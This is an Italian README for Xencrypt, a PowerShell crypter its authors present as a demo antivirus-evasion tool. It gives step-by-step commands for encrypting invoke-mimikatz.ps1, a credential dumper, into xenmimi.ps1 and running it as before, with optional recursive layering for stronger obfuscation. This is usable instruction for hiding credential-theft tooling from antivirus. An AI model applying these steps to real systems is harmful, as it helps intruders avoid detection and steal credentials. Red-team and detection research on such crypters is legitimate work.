the-xentropy/xencryptUno strumento di evasione antivirus basato su script PowerShell
Xentropy ( @SamuelAnttila )
SecForce ( @SECFORCE_LTD )
Se vuoi approfondire il design di questo strumento e come creare il tuo crypter, c'è un articolo che ho scritto a riguardo qui: Scrivi un crypter in qualsiasi linguaggio
Non fare lo script kiddie, ho rilasciato questo tool sotto GPLv3 così puoi apportare le tue modifiche. Questo strumento è pensato come demo per mostrare quanto sia facile scrivere il proprio crypter. Funziona per il suo scopo previsto e non lo modificherò per renderlo adatto al tuo.
Xencrypt:
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
Ora avrai un file xenmimi.ps1 crittografato nella directory di lavoro corrente. Puoi usarlo allo stesso modo dello script originale, quindi in questo caso:
Import-Module ./xenmimi.ps1
Invoke-Mimikatz
Supporta anche la stratificazione ricorsiva tramite il flag -Iterations.
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100
Attenzione però, i file possono diventare grandi e la generazione del file di output può richiedere molto tempo a seconda degli script e del numero di iterazioni richieste.